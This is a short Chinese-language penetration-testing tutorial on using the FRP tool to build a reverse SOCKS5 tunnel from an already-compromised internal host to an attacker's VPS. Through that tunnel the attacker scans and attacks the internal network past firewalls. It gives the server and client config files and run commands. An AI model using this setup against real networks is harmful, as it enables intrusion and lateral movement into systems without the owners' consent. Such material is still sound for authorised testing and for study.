拓扑
+------+
| VPS +-------+
+------+ |
^ |
| |
| |
| | 192.168.50.131
+--------+ | +--------+
| 攻击机 | +---->| 靶机 |
+--------+ +--------+
工具下载:
https://github.com/fatedier/frp/releases/tag/v0.34.3
在Github可以下载到Linux、Windows、Macos等多个平台的Release版。下载完直接用就行,非常方便。
术语
靶机: 已经被拿下的跳板机,可上传可执行命令。
服务器:具有公网IP地址的VPS,用来接收反向连接。
攻击机:攻击者使用的机器,无公网IP地址。
使用步骤
服务器
- 编写服务端配置文件 frps.ini
[common]
bind_port = 8081
- 运行
./frps -c frps.ini - 效果
FRP服务端在VPS上监听8081口,等待客户端连接。
靶机
- 编写客户端配置文件 frpc.ini
[common]
server_addr = 【vps_ip】
server_port = 8081
[plugin_socks5]
type = tcp
remote_port = 8082
plugin = socks5
- 运行
./frpc -c frpc.ini - 效果
靶机上的FRP客户端向VPS发起请求,完成连接,并建立socks5隧道,服务端将隧道绑定VPS的TCP 8082口。
攻击机
在proxifier、proxychains、foxyproxy等代理工具配置socks5,IP地址为VPS地址,端口为8082。即可开始内网扫描、渗透等操作。
总结
正向代理需要在靶机上绑定TCP端口,会被防火墙阻止。所以,内网渗透通常用反向代理,FRP是很简单易用的方法。